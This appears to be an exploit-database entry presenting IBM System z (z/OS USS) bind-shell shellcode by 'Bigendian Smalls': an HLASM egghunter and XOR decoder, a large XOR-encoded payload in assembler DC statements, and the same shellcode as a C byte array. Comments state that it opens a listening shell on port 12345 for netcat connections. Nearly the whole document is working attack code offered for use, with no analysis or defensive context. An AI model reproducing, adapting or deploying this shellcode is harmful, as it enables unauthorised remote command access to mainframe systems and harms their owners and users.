Mainframe/System Z Bind Shell

2015-09-02
ID: 59218
CVE: None
Download vulnerable application: None
TITLE 'sb_shellcode.s                                         x
               Author:  Bigendian Smalls' 
         ACONTROL AFPR                    
SBSHELL  CSECT                             
SBSHELL  AMODE 31                           
SBSHELL  RMODE ANY                           
         SYSSTATE ARCHLVL=2                   
         ENTRY MAIN
MAIN     DS    0F                              
** Begin setup and stack management **
         STM   6,4,12(13)     # store all the registers in old SP area
         LARL  15,*-4         # put base addr into R15 
         LR    12,15          # put given base addr into R12
         XR    1,1            # zeroout R1 for counting
         XR    2,2            # zeroout R1 for counting
         XR    3,3            # zeroout R3
         AFI   1,X'01010102'  # loading a 1 in R1 
         AFI   2,X'01010103'  # loading a 1 in R1 
         XR    1,2            # loading a 1 in R1
         LR    4,1            #  will put a 4 in R4
         SLA   4,1(1)         # make R1 == 4
         XR    10,10          # zeroout R10 for our egg
         XR    2,2            # zero 2
         LGFI  10,X'deadbeef' # load egghunter value into R10
         LR    11,12          # load  base int R11
LOOPER   AR    11,1           # add 1 to R11 
         L     3,1(2,11)      # retrieve value at R11 +1 indexR2=0
         CR    10,3           # compare egg with R11 mem pointer 
         BRC   7,LOOPER       # branch anything but equal
         AR    11,4           
         L     3,1(2,11)      # retrieve value at R11 +1 indexR2=0
         CR    10,3           # compare egg with R11 mem pointer 
         BRC   7,LOOPER       # 2nd check 2 in a row good to go!
         AR    11,1           # 1 for the offset from above
         SR    11,4           # 4 to skip last egg
         ST    13,4(,11)      # store old SP for later in wkg area
         ST    11,8(,13)      # store this in old wking area
         LR    13,11          # set up R13 pt to new wkg area
** End setup and stack management **
** Begin main decoding routine    **
         LR    3,11           # This is now our egghunter loc
         AR    3,4            # add 4 to 3
         AR    3,4            # R3 points to SC for decoding
         LR    5,3            # R5 points to SC for jumping to
         SR    3,1            # R3-1 to we can XI that addr w/o nulls
         SR    3,1            # R3-1 to we can XI that addr w/o nulls
         LR    4,1            # R4 has static 1
         XR    1,1            # R1 will be our byte counter
         XR    2,2            # R2 will be address pointer
LOOP1    AR    1,4            # add 1 to R1 byte counter
         ARK   2,3,1          # generate new address pointer
* put the XOR key  (enc buffer char) from below in the quotes below
         XI    1(2),X'4b'     # xor byte with key
* put the buffer len (num of bytes) in the next cmd in CHI 1,<here>
         CHI   1,2088         # to yield sc len
         BRC   4,LOOP1        # loop bwd 18 bytes if R1 < size
         XR    4,4
** Begin cleanup and stack management **
         L     13,4(4,11)     # reload old SP 
         LM    6,4,12(13)     # restore registers 
         BCR   15,5           # jmp to sc 
** End main decoding routine    **
         DC    X'DEADBEEF'     #egg
         DC    X'DEADBEEF'     #egg + old sp
*******************************************************************
*Number of bytes:    2088
*Padding bytes:         0
*Enc buffer char:  0x4b
*ASM buffer: 
         DC    X'dba79b478bbbb4b4b4b553448b0b4b4b48af1b9b0b4f539fecd34bX
               4aec834b4fecae48708f144b4b48bd8f244b4b48beecae48788f144bX
               4b48b98f244b4b48ba8fb64b4b489f8b5b4b4b4b5a533a1b3c4b4b51X
               371b3b3b4b5137ee31cb4b1b3b3b4becbf4b424b4b4b4b4b4b4b4b4bX
               4b4b4b4b4b4ea48f66b4b4b4b2a76c4b'
         DC    X'fa4b350a6b4b428f164b4b4880532eecae49fe8f164b4b48f4532eX
               ecae49e40a6b4b438f164b4b48f08b2a4b4b4b4becae49ee8f164b4bX
               48fa8b2a4b4b4b4aecae49d68f164b4b48e28b2a4b4b4b49ecae49deX
               0a6b4b428f164b4b48ea532eecae49c68f164b4b48d2532eecae49ccX
               8fb64b4b48348b5b4b4b4b138b3b4b4b'
         DC    X'4b0e8f344b4b4b1951378f344b4b4b1b8b3b4b4b4b0a8f344b4b4bX
               0751378f344b4b4b7551378f344b4b4b0d51378f344b4b4b7151378fX
               344b4b4b0b8b3b4b4b481a8f344b4b4b778f344b4b4b708f344b4b4bX
               718f344b4b4b728f344b4b4b738b3b4b4b4b7c8f344b4b4b7f51378fX
               344b4b4b795137ee31cb4b8f344b4b4b'
         DC    X'65ec4e4b664b4b4b4b4b4c2ac9c2de2ae9c34b4b4b4b4a4b4b4b49X
               4b4b4b4be9c34b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4bX
               4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4bX
               4b4b4b4b4b4b4b4b4ea4ec4e49a78bab4b4b4b400a6b4b428f164b4bX
               4853532eecbf494feca14b5b8f164b4b'
         DC    X'4845532eecbf4ab78fb64b4b49bd8b5b4b4b4b7e8b3b4b4b49a18fX
               344b4b4b648b3b4b4b49a98f344b4b4b608b3b4b4b49918f344b4b4bX
               6c8b3b4b4b499d8f344b4b4b688b3b4b4b4b538f344b4b4b548b3b4bX
               4b4b558f344b4b4b5051378f344b4b4b525137ee31cb4b8f344b4b4bX
               5eec4e4b5f4b4b4b4b4b4b4b4b4b4b4b'
         DC    X'4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4ea4X
               8fb64b4b49e48b5b4b4b4b618b3bb4b4b4ac8f344b4b4b6f8b3b4b4bX
               4b548f344b4b4b6b8b3b4b4b49f88f344b4b4b578b3b4b4b4b508f34X
               4b4b4b5351378f344b4b4b5d5137ee31cb4b8f344b4b4b59ec4e4b5aX
               4b4b4b4b4b5b4b4b4b4b4b4b4b4b4b4b'
         DC    X'4b4b4b4b4b4b4b4b4b4b4b4b4b4b4ea453b78f26b4b4b4b3a72c49X
               1a4b358fb64b4b493b8b5b4b4b4b6a8b3bb4b4b4ed8f344b4b4b508bX
               3b4b4b49138f344b4b4b5c8b3b4b4b4b5d8f344b4b4b5851378f344bX
               4b4b5a5137ee31cb4b8f344b4b4b46ec4e4b474b4b4b4b4b4b4b4b4bX
               4b4b4b4b4b4b4b4b4b4b4b4ea48fb64b'
         DC    X'4b49088b5b4b4b4b7d8b3bb4b4b43c8f344b4b4b7b8b3b4b4b4b62X
               8f344b4b4b678b3b4b4b4b508f344b4b4b638b3b4b4b4b548f344b4bX
               4b6f8b3b4b4b4b688f344b4b4b6b5137ee31cb4b8f344b4b4b57ec4eX
               4b504b4b4b4b4b4b4b4b4b4b5b494b4b4b4b4b4b4b4b4b4b4b4b4b4bX
               4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b'
         DC    X'4b4b4b4b4b4b4b4b4ea48bab4b4b4b470a6b4b4f8f16b4b4b4a7ecX
               234b4cecbf4bbaeca14b598f164b4b4ab2ec234b4decbf4ba38b1bb4X
               b4b4978b3b4b4b4b47ecae4b50ecae4a228b1b4b4b4aa5ecae4bc38bX
               1b4b4b4aa88b3bb4b4b4a5ecae4b47ecae4ace8babb4b4b4bd8b1bb4X
               b4b48becbf4b3d8fb64b4b4a82537c8f'
         DC    X'a44b4b4ae48b6b4b4b4b079c4c6b4b6b4b8b6b4b4b4b759c446b4bX
               6b4b8f144b4b4b098b5b4b4b4b748b3b4b4b4b798f344b4b4b608b3bX
               4b4b4b638f344b4b4b7e8b3b4b4b4ad98f344b4b4b7a8b3b4b4b4b55X
               8f344b4b4b668b3b4b4b4b698f344b4b4b628b3b4b4b4b638f344b4bX
               4b6e5137ee31cb4b8f344b4b4b6aec4e'
         DC    X'4b6b4b4b4b4b4b4b4b4b4b4b4b4a69696969696969696969696969X
               6969694b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4bX
               4b4b4b4b4b4b4b4ea48fa64b4b4a04533853b28f26b4b4b4a1a729abX
               4b4bb5a7233b4bb4b5ec4e4a7a8fb64b4b4a1c8fa44b4b4a778b5b4bX
               4b4b7a8b3bb4b4b4858f344b4b4b628b'
         DC    X'3b4b4b4b6d8f344b4b4b6c8f144b4b4b698b3b4b4b4a608f344b4bX
               4b6b8b3bb4b4b48a8f344b4b4b5751378f344b4b4b5151378f344b4bX
               4b535137ee31cb4b8f344b4b4b5fec4e4b584b4b4b4b4b4b4b4b4b4bX
               4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4ea48fa6X
               4b4b4bb28f26b4b4b4bd53bda7234ba9'
         DC    X'b4354cb58fb64b4b4a438fa44b4b4ba08b5b4b4b4b79533a503750X
               3750378f144b4b4b6e8f344b4b4b638f644b4b4b6a51378f344b4b4bX
               688f244b4b4b5751378f344b4b4b5551378f344b4b4b5751378f344bX
               4b4b515137ee31cb4b8f344b4b4b5dec4e4b5e4b4b4b4b4b4b4b4b4bX
               4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b'
         DC    X'4b4b4b4b4b4b4b4b4b4b4b4b4b4ea48fa64b4b4be28f36b4b4b4bdX
               a7334bd8b4354cb58fb64b4b4bf08fa44b4b4bd78b5b4b4b4b50533aX
               8f344b4b4b5c51378f344b4b4b5e51378f344b4b4b5851378f344b4bX
               4b5a5137ee31cb4b8f344b4b4b46ec4e4b474b4b4b4b4b4b4b4b4b4bX
               4b4b4b4b4b4b4b4b4b4b4ea48f26b4b4'
         DC    X'b4b2a7234b2bb4358f16b4b4b4a48f26b4b4b4a58fa64b4b4b2c4cX
               b58b5bb4b4b5b08f06b4b4b44b8b6b4b4b4bccecc34b5ea87b5b4b4bX
               3d8b704b4b4bb45273ec3f4b4dec234bceecbf4b45a81b6b4b4b3d8bX
               104b4b4bb451625122527eec3fb4bc5022092b5b4b51525002ec3fb4X
               a84cb58f06b4b4b5938b5bb4b4b586ec'
         DC    X'c34bce8b6b4b4b4b115062a87b5b4b4b3d8b704b4b4bb45273ec3fX
               4b4dec734b2eecbf4b425168a87b6b4b4b3d8b704b4b4bb4097b5b4bX
               51525002ec3fb4af4cb55cb48b0b4b4b4b5b1bbb0b4b139b0b4fd3a7X
               9b478b0b4b4b4b4c13bb0b4b4cb54b4b4b4b4b4b4b4b4b4b4b4b4b4bX
               4b4b4b4a4b4b4b494a1878f74a1878ef'
         DC    X'4a187c5b4a187d7d4a187d234a187d6f4a1878554a1878c14a1879X
               074a18784d4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b4b49497b724b4b4bX
               4b'
E2ABUF   DC    X'0102039c09867f978d8e0b0c0d0e0f101112139d0a08871819928fX
               1c1d1e1f808182838485171b88898a8b8c0506079091169394959604X
               98999a9b14FF9e1a20a0e2e4e0e1e3e5e7f1a22e3c282b7c26e9eaebX
               e8edeeefecdf21242a293b5e2d2fc2c4c0c1c3c5c7d1a62c255f3e3fX
               f8c9cacbc8cdcecfcc603a2340273d22'
         DC    X'd8616263646566676869abbbf0fdfeb1b06a6b6c6d6e6f707172aaX
               bae6b8c6a4b57e737475767778797aa1bfd05bdeaeaca3a5b7a9a7b6X
               bcbdbedda8af5db4d77b414243444546474849adf4f6f2f3f57d4a4bX
               4c4d4e4f505152b9fbfcf9faff5cf7535455565758595ab2d4d6d2d3X
               d530313233343536373839b3dbdcd9da'
         DC    X'9f'
******************************************************************
         DC    X'8BADF00D'   eof marker
         END

########################################################################

\*  For SystemZ USS  *\
\*   Bind shell payload listens on port 12345 on 0.0.0.0 *\
\*   Use netcat to connect  *\
\*   Author:  Bigendian Smalls  *\ 
char sc[]=
"\x90\x64\xd0\x0c\xc0\xf0\xff\xff\xff\xfe\x18\xcf\x17\x11\x17\x22"
"\x17\x33\xc2\x19\x01\x01\x01\x02\xc2\x29\x01\x01\x01\x03\x17\x12"
"\x18\x41\x8b\x40\x10\x01\x17\xaa\x17\x22\xc0\xa1\xde\xad\xbe\xef"
"\x18\xbc\x1a\xb1\x58\x32\xb0\x01\x19\xa3\xa7\x74\xff\xfc\x1a\xb4"
"\x58\x32\xb0\x01\x19\xa3\xa7\x74\xff\xf6\x1a\xb1\x1b\xb4\x50\xd0"
"\xb0\x04\x50\xb0\xd0\x08\x18\xdb\x18\x3b\x1a\x34\x1a\x34\x18\x53"
"\x1b\x31\x1b\x31\x18\x41\x17\x11\x17\x22\x1a\x14\xb9\xf8\x10\x23"
"\x97\x4b\x20\x01\xa7\x1e\x08\x28\xa7\x44\xff\xf9\x17\x44\x58\xd4"
"\xb0\x04\x98\x64\xd0\x0c\x07\xf5\xde\xad\xbe\xef\xde\xad\xbe\xef"
"\xdb\xa7\x9b\x47\x8b\xbb\xb4\xb4\xb4\xb5\x53\x44\x8b\x0b\x4b\x4b"
"\x48\xaf\x1b\x9b\x0b\x4f\x53\x9f\xec\xd3\x4b\x4a\xec\x83\x4b\x4f"
"\xec\xae\x48\x70\x8f\x14\x4b\x4b\x48\xbd\x8f\x24\x4b\x4b\x48\xbe"
"\xec\xae\x48\x78\x8f\x14\x4b\x4b\x48\xb9\x8f\x24\x4b\x4b\x48\xba"
"\x8f\xb6\x4b\x4b\x48\x9f\x8b\x5b\x4b\x4b\x4b\x5a\x53\x3a\x1b\x3c"
"\x4b\x4b\x51\x37\x1b\x3b\x3b\x4b\x51\x37\xee\x31\xcb\x4b\x1b\x3b"
"\x3b\x4b\xec\xbf\x4b\x42\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4e\xa4\x8f\x66\xb4\xb4\xb4\xb2\xa7\x6c\x4b\xfa"
"\x4b\x35\x0a\x6b\x4b\x42\x8f\x16\x4b\x4b\x48\x80\x53\x2e\xec\xae"
"\x49\xfe\x8f\x16\x4b\x4b\x48\xf4\x53\x2e\xec\xae\x49\xe4\x0a\x6b"
"\x4b\x43\x8f\x16\x4b\x4b\x48\xf0\x8b\x2a\x4b\x4b\x4b\x4b\xec\xae"
"\x49\xee\x8f\x16\x4b\x4b\x48\xfa\x8b\x2a\x4b\x4b\x4b\x4a\xec\xae"
"\x49\xd6\x8f\x16\x4b\x4b\x48\xe2\x8b\x2a\x4b\x4b\x4b\x49\xec\xae"
"\x49\xde\x0a\x6b\x4b\x42\x8f\x16\x4b\x4b\x48\xea\x53\x2e\xec\xae"
"\x49\xc6\x8f\x16\x4b\x4b\x48\xd2\x53\x2e\xec\xae\x49\xcc\x8f\xb6"
"\x4b\x4b\x48\x34\x8b\x5b\x4b\x4b\x4b\x13\x8b\x3b\x4b\x4b\x4b\x0e"
"\x8f\x34\x4b\x4b\x4b\x19\x51\x37\x8f\x34\x4b\x4b\x4b\x1b\x8b\x3b"
"\x4b\x4b\x4b\x0a\x8f\x34\x4b\x4b\x4b\x07\x51\x37\x8f\x34\x4b\x4b"
"\x4b\x75\x51\x37\x8f\x34\x4b\x4b\x4b\x0d\x51\x37\x8f\x34\x4b\x4b"
"\x4b\x71\x51\x37\x8f\x34\x4b\x4b\x4b\x0b\x8b\x3b\x4b\x4b\x48\x1a"
"\x8f\x34\x4b\x4b\x4b\x77\x8f\x34\x4b\x4b\x4b\x70\x8f\x34\x4b\x4b"
"\x4b\x71\x8f\x34\x4b\x4b\x4b\x72\x8f\x34\x4b\x4b\x4b\x73\x8b\x3b"
"\x4b\x4b\x4b\x7c\x8f\x34\x4b\x4b\x4b\x7f\x51\x37\x8f\x34\x4b\x4b"
"\x4b\x79\x51\x37\xee\x31\xcb\x4b\x8f\x34\x4b\x4b\x4b\x65\xec\x4e"
"\x4b\x66\x4b\x4b\x4b\x4b\x4b\x4c\x2a\xc9\xc2\xde\x2a\xe9\xc3\x4b"
"\x4b\x4b\x4b\x4a\x4b\x4b\x4b\x49\x4b\x4b\x4b\x4b\xe9\xc3\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4e\xa4\xec\x4e\x49\xa7\x8b\xab"
"\x4b\x4b\x4b\x40\x0a\x6b\x4b\x42\x8f\x16\x4b\x4b\x48\x53\x53\x2e"
"\xec\xbf\x49\x4f\xec\xa1\x4b\x5b\x8f\x16\x4b\x4b\x48\x45\x53\x2e"
"\xec\xbf\x4a\xb7\x8f\xb6\x4b\x4b\x49\xbd\x8b\x5b\x4b\x4b\x4b\x7e"
"\x8b\x3b\x4b\x4b\x49\xa1\x8f\x34\x4b\x4b\x4b\x64\x8b\x3b\x4b\x4b"
"\x49\xa9\x8f\x34\x4b\x4b\x4b\x60\x8b\x3b\x4b\x4b\x49\x91\x8f\x34"
"\x4b\x4b\x4b\x6c\x8b\x3b\x4b\x4b\x49\x9d\x8f\x34\x4b\x4b\x4b\x68"
"\x8b\x3b\x4b\x4b\x4b\x53\x8f\x34\x4b\x4b\x4b\x54\x8b\x3b\x4b\x4b"
"\x4b\x55\x8f\x34\x4b\x4b\x4b\x50\x51\x37\x8f\x34\x4b\x4b\x4b\x52"
"\x51\x37\xee\x31\xcb\x4b\x8f\x34\x4b\x4b\x4b\x5e\xec\x4e\x4b\x5f"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4e\xa4\x8f\xb6\x4b\x4b\x49\xe4\x8b\x5b\x4b\x4b"
"\x4b\x61\x8b\x3b\xb4\xb4\xb4\xac\x8f\x34\x4b\x4b\x4b\x6f\x8b\x3b"
"\x4b\x4b\x4b\x54\x8f\x34\x4b\x4b\x4b\x6b\x8b\x3b\x4b\x4b\x49\xf8"
"\x8f\x34\x4b\x4b\x4b\x57\x8b\x3b\x4b\x4b\x4b\x50\x8f\x34\x4b\x4b"
"\x4b\x53\x51\x37\x8f\x34\x4b\x4b\x4b\x5d\x51\x37\xee\x31\xcb\x4b"
"\x8f\x34\x4b\x4b\x4b\x59\xec\x4e\x4b\x5a\x4b\x4b\x4b\x4b\x4b\x5b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4e\xa4\x53\xb7\x8f\x26\xb4\xb4"
"\xb4\xb3\xa7\x2c\x49\x1a\x4b\x35\x8f\xb6\x4b\x4b\x49\x3b\x8b\x5b"
"\x4b\x4b\x4b\x6a\x8b\x3b\xb4\xb4\xb4\xed\x8f\x34\x4b\x4b\x4b\x50"
"\x8b\x3b\x4b\x4b\x49\x13\x8f\x34\x4b\x4b\x4b\x5c\x8b\x3b\x4b\x4b"
"\x4b\x5d\x8f\x34\x4b\x4b\x4b\x58\x51\x37\x8f\x34\x4b\x4b\x4b\x5a"
"\x51\x37\xee\x31\xcb\x4b\x8f\x34\x4b\x4b\x4b\x46\xec\x4e\x4b\x47"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4e\xa4\x8f\xb6\x4b\x4b\x49\x08\x8b\x5b\x4b\x4b"
"\x4b\x7d\x8b\x3b\xb4\xb4\xb4\x3c\x8f\x34\x4b\x4b\x4b\x7b\x8b\x3b"
"\x4b\x4b\x4b\x62\x8f\x34\x4b\x4b\x4b\x67\x8b\x3b\x4b\x4b\x4b\x50"
"\x8f\x34\x4b\x4b\x4b\x63\x8b\x3b\x4b\x4b\x4b\x54\x8f\x34\x4b\x4b"
"\x4b\x6f\x8b\x3b\x4b\x4b\x4b\x68\x8f\x34\x4b\x4b\x4b\x6b\x51\x37"
"\xee\x31\xcb\x4b\x8f\x34\x4b\x4b\x4b\x57\xec\x4e\x4b\x50\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x5b\x49\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4e\xa4\x8b\xab\x4b\x4b\x4b\x47\x0a\x6b\x4b\x4f\x8f\x16\xb4\xb4"
"\xb4\xa7\xec\x23\x4b\x4c\xec\xbf\x4b\xba\xec\xa1\x4b\x59\x8f\x16"
"\x4b\x4b\x4a\xb2\xec\x23\x4b\x4d\xec\xbf\x4b\xa3\x8b\x1b\xb4\xb4"
"\xb4\x97\x8b\x3b\x4b\x4b\x4b\x47\xec\xae\x4b\x50\xec\xae\x4a\x22"
"\x8b\x1b\x4b\x4b\x4a\xa5\xec\xae\x4b\xc3\x8b\x1b\x4b\x4b\x4a\xa8"
"\x8b\x3b\xb4\xb4\xb4\xa5\xec\xae\x4b\x47\xec\xae\x4a\xce\x8b\xab"
"\xb4\xb4\xb4\xbd\x8b\x1b\xb4\xb4\xb4\x8b\xec\xbf\x4b\x3d\x8f\xb6"
"\x4b\x4b\x4a\x82\x53\x7c\x8f\xa4\x4b\x4b\x4a\xe4\x8b\x6b\x4b\x4b"
"\x4b\x07\x9c\x4c\x6b\x4b\x6b\x4b\x8b\x6b\x4b\x4b\x4b\x75\x9c\x44"
"\x6b\x4b\x6b\x4b\x8f\x14\x4b\x4b\x4b\x09\x8b\x5b\x4b\x4b\x4b\x74"
"\x8b\x3b\x4b\x4b\x4b\x79\x8f\x34\x4b\x4b\x4b\x60\x8b\x3b\x4b\x4b"
"\x4b\x63\x8f\x34\x4b\x4b\x4b\x7e\x8b\x3b\x4b\x4b\x4a\xd9\x8f\x34"
"\x4b\x4b\x4b\x7a\x8b\x3b\x4b\x4b\x4b\x55\x8f\x34\x4b\x4b\x4b\x66"
"\x8b\x3b\x4b\x4b\x4b\x69\x8f\x34\x4b\x4b\x4b\x62\x8b\x3b\x4b\x4b"
"\x4b\x63\x8f\x34\x4b\x4b\x4b\x6e\x51\x37\xee\x31\xcb\x4b\x8f\x34"
"\x4b\x4b\x4b\x6a\xec\x4e\x4b\x6b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4a\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69"
"\x69\x69\x69\x69\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4e\xa4\x8f\xa6\x4b\x4b\x4a\x04\x53\x38\x53\xb2"
"\x8f\x26\xb4\xb4\xb4\xa1\xa7\x29\xab\x4b\x4b\xb5\xa7\x23\x3b\x4b"
"\xb4\xb5\xec\x4e\x4a\x7a\x8f\xb6\x4b\x4b\x4a\x1c\x8f\xa4\x4b\x4b"
"\x4a\x77\x8b\x5b\x4b\x4b\x4b\x7a\x8b\x3b\xb4\xb4\xb4\x85\x8f\x34"
"\x4b\x4b\x4b\x62\x8b\x3b\x4b\x4b\x4b\x6d\x8f\x34\x4b\x4b\x4b\x6c"
"\x8f\x14\x4b\x4b\x4b\x69\x8b\x3b\x4b\x4b\x4a\x60\x8f\x34\x4b\x4b"
"\x4b\x6b\x8b\x3b\xb4\xb4\xb4\x8a\x8f\x34\x4b\x4b\x4b\x57\x51\x37"
"\x8f\x34\x4b\x4b\x4b\x51\x51\x37\x8f\x34\x4b\x4b\x4b\x53\x51\x37"
"\xee\x31\xcb\x4b\x8f\x34\x4b\x4b\x4b\x5f\xec\x4e\x4b\x58\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4e\xa4\x8f\xa6\x4b\x4b\x4b\xb2\x8f\x26\xb4\xb4\xb4\xbd\x53\xbd"
"\xa7\x23\x4b\xa9\xb4\x35\x4c\xb5\x8f\xb6\x4b\x4b\x4a\x43\x8f\xa4"
"\x4b\x4b\x4b\xa0\x8b\x5b\x4b\x4b\x4b\x79\x53\x3a\x50\x37\x50\x37"
"\x50\x37\x8f\x14\x4b\x4b\x4b\x6e\x8f\x34\x4b\x4b\x4b\x63\x8f\x64"
"\x4b\x4b\x4b\x6a\x51\x37\x8f\x34\x4b\x4b\x4b\x68\x8f\x24\x4b\x4b"
"\x4b\x57\x51\x37\x8f\x34\x4b\x4b\x4b\x55\x51\x37\x8f\x34\x4b\x4b"
"\x4b\x57\x51\x37\x8f\x34\x4b\x4b\x4b\x51\x51\x37\xee\x31\xcb\x4b"
"\x8f\x34\x4b\x4b\x4b\x5d\xec\x4e\x4b\x5e\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4e\xa4\x8f\xa6\x4b\x4b\x4b\xe2\x8f\x36\xb4\xb4\xb4\xbd\xa7\x33"
"\x4b\xd8\xb4\x35\x4c\xb5\x8f\xb6\x4b\x4b\x4b\xf0\x8f\xa4\x4b\x4b"
"\x4b\xd7\x8b\x5b\x4b\x4b\x4b\x50\x53\x3a\x8f\x34\x4b\x4b\x4b\x5c"
"\x51\x37\x8f\x34\x4b\x4b\x4b\x5e\x51\x37\x8f\x34\x4b\x4b\x4b\x58"
"\x51\x37\x8f\x34\x4b\x4b\x4b\x5a\x51\x37\xee\x31\xcb\x4b\x8f\x34"
"\x4b\x4b\x4b\x46\xec\x4e\x4b\x47\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4e\xa4\x8f\x26"
"\xb4\xb4\xb4\xb2\xa7\x23\x4b\x2b\xb4\x35\x8f\x16\xb4\xb4\xb4\xa4"
"\x8f\x26\xb4\xb4\xb4\xa5\x8f\xa6\x4b\x4b\x4b\x2c\x4c\xb5\x8b\x5b"
"\xb4\xb4\xb5\xb0\x8f\x06\xb4\xb4\xb4\x4b\x8b\x6b\x4b\x4b\x4b\xcc"
"\xec\xc3\x4b\x5e\xa8\x7b\x5b\x4b\x4b\x3d\x8b\x70\x4b\x4b\x4b\xb4"
"\x52\x73\xec\x3f\x4b\x4d\xec\x23\x4b\xce\xec\xbf\x4b\x45\xa8\x1b"
"\x6b\x4b\x4b\x3d\x8b\x10\x4b\x4b\x4b\xb4\x51\x62\x51\x22\x52\x7e"
"\xec\x3f\xb4\xbc\x50\x22\x09\x2b\x5b\x4b\x51\x52\x50\x02\xec\x3f"
"\xb4\xa8\x4c\xb5\x8f\x06\xb4\xb4\xb5\x93\x8b\x5b\xb4\xb4\xb5\x86"
"\xec\xc3\x4b\xce\x8b\x6b\x4b\x4b\x4b\x11\x50\x62\xa8\x7b\x5b\x4b"
"\x4b\x3d\x8b\x70\x4b\x4b\x4b\xb4\x52\x73\xec\x3f\x4b\x4d\xec\x73"
"\x4b\x2e\xec\xbf\x4b\x42\x51\x68\xa8\x7b\x6b\x4b\x4b\x3d\x8b\x70"
"\x4b\x4b\x4b\xb4\x09\x7b\x5b\x4b\x51\x52\x50\x02\xec\x3f\xb4\xaf"
"\x4c\xb5\x5c\xb4\x8b\x0b\x4b\x4b\x4b\x5b\x1b\xbb\x0b\x4b\x13\x9b"
"\x0b\x4f\xd3\xa7\x9b\x47\x8b\x0b\x4b\x4b\x4b\x4c\x13\xbb\x0b\x4b"
"\x4c\xb5\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x4b\x4b\x4b\x4a\x4b\x4b\x4b\x49\x4a\x18\x78\xf7\x4a\x18\x78\xef"
"\x4a\x18\x7c\x5b\x4a\x18\x7d\x7d\x4a\x18\x7d\x23\x4a\x18\x7d\x6f"
"\x4a\x18\x78\x55\x4a\x18\x78\xc1\x4a\x18\x79\x07\x4a\x18\x78\x4d"
"\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b\x4b"
"\x49\x49\x7b\x72\x4b\x4b\x4b\x4b\x01\x02\x03\x9c\x09\x86\x7f\x97"
"\x8d\x8e\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x9d\x0a\x08\x87\x18"
"\x19\x92\x8f\x1c\x1d\x1e\x1f\x80\x81\x82\x83\x84\x85\x17\x1b\x88"
"\x89\x8a\x8b\x8c\x05\x06\x07\x90\x91\x16\x93\x94\x95\x96\x04\x98"
"\x99\x9a\x9b\x14\xff\x9e\x1a\x20\xa0\xe2\xe4\xe0\xe1\xe3\xe5\xe7"
"\xf1\xa2\x2e\x3c\x28\x2b\x7c\x26\xe9\xea\xeb\xe8\xed\xee\xef\xec"
"\xdf\x21\x24\x2a\x29\x3b\x5e\x2d\x2f\xc2\xc4\xc0\xc1\xc3\xc5\xc7"
"\xd1\xa6\x2c\x25\x5f\x3e\x3f\xf8\xc9\xca\xcb\xc8\xcd\xce\xcf\xcc"
"\x60\x3a\x23\x40\x27\x3d\x22\xd8\x61\x62\x63\x64\x65\x66\x67\x68"
"\x69\xab\xbb\xf0\xfd\xfe\xb1\xb0\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71"
